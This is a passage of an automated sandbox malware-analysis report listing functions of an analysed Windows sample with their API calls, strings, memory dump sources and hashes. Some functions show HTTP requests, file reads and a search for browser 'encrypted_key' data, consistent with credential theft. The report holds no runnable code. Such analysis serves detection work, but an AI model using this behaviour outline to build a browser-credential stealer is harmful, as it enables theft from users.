Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 005F52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E6280: InternetOpenA.WININET(00600DFE,00000001,00000000,00000000,00000000), ref: 005E62E1
Part of subcall function 005E6280: StrCmpCA.SHLWAPI(?,01410AB0), ref: 005E6303
Part of subcall function 005E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005E6335
Part of subcall function 005E6280: HttpOpenRequestA.WININET(00000000,GET,?,01410350,00000000,00000000,00400100,00000000), ref: 005E6385
Part of subcall function 005E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005E63BF
Part of subcall function 005E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005E63D1

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005F5318
lstrlen.KERNEL32(00000000), ref: 005F532F

Part of subcall function 005F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005F8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 005F5364
lstrlen.KERNEL32(00000000), ref: 005F5383
lstrlen.KERNEL32(00000000), ref: 005F53AE

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Strings

ERROR, xrefs: 005F530A
ERROR, xrefs: 005F53B9
ERROR, xrefs: 005F5432
ERROR, xrefs: 005F546F
ERROR, xrefs: 005F54A9

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: cbcaa96216593f298e6dae9ffebac2eca29cfd5cc38bbc5152c79c33086c2403
Instruction ID: 43eaf23d79b90eec23bd3f8e0448912fe5504d4f17a61dbac8256169bd7ac413
Opcode Fuzzy Hash: cbcaa96216593f298e6dae9ffebac2eca29cfd5cc38bbc5152c79c33086c2403
Instruction Fuzzy Hash: 56510EB091014E9BCB18FF60C99AAFD7B79BF90340F508014E64A5B591EF786B46CB53

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

kernel32.dll, xrefs: 6C6534EA
GetSystemTimePreciseAsFileTime, xrefs: 6C653508

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 005F12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: fcd6c4fdfdfbcc4b5b49567044184d90b3b944fb8a4574844097fccaa96ded08
Instruction ID: 755435f8b355917b67ac6f26f9d31c1c8a71ec3ba85ff5ef50c556da2e7c2212
Opcode Fuzzy Hash: fcd6c4fdfdfbcc4b5b49567044184d90b3b944fb8a4574844097fccaa96ded08
Instruction Fuzzy Hash: B7C164B590011D9BCB18EF60DC8DFFA7B79BF94304F104598F60AA7241EA74AA85CF91

Function 005F4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

lstrcat.KERNEL32(?,00000000), ref: 005F42EC
lstrcat.KERNEL32(?,0140FFC0), ref: 005F430B
lstrcat.KERNEL32(?,?), ref: 005F431F
lstrcat.KERNEL32(?,0140F5C8), ref: 005F4333

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005F8D90: GetFileAttributesA.KERNEL32(00000000,?,005E1B54,?,?,0060564C,?,?,00600E1F), ref: 005F8D9F

Part of subcall function 005E9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 005E9D39

Part of subcall function 005E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005E99EC
Part of subcall function 005E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005E9A11
Part of subcall function 005E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005E9A31
Part of subcall function 005E99C0: ReadFile.KERNEL32(000000FF,?,00000000,005E148F,00000000), ref: 005E9A5A
Part of subcall function 005E99C0: LocalFree.KERNEL32(005E148F), ref: 005E9A90
Part of subcall function 005E99C0: CloseHandle.KERNEL32(000000FF), ref: 005E9A9A

Part of subcall function 005F93C0: GlobalAlloc.KERNEL32(00000000,005F43DD,005F43DD), ref: 005F93D3

StrStrA.SHLWAPI(?,01410248), ref: 005F43F3
GlobalFree.KERNEL32(?), ref: 005F4512

Part of subcall function 005E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N^,00000000,00000000), ref: 005E9AEF
Part of subcall function 005E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,005E4EEE,00000000,?), ref: 005E9B01
Part of subcall function 005E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N^,00000000,00000000), ref: 005E9B2A
Part of subcall function 005E9AC0: LocalFree.KERNEL32(?,?,?,?,005E4EEE,00000000,?), ref: 005E9B3F

lstrcat.KERNEL32(?,00000000), ref: 005F44A3
StrCmpCA.SHLWAPI(?,006008D1), ref: 005F44C0
lstrcat.KERNEL32(00000000,00000000), ref: 005F44D2
lstrcat.KERNEL32(00000000,?), ref: 005F44E5
lstrcat.KERNEL32(00000000,00600FB8), ref: 005F44F4

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: a4b371c9d4692391e3f503e78bcbead08b2866c06c773401cae4a531d9d47309
Instruction ID: 5ea9772f0c7c967c2d494d7b4fe965db70acf4be187b989ef29cb31b1b369add
Opcode Fuzzy Hash: a4b371c9d4692391e3f503e78bcbead08b2866c06c773401cae4a531d9d47309
Instruction Fuzzy Hash: 337114B6900209ABDB14EBA0DC89FFE7779BF88300F048598F61997181EA74DB45CF91

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
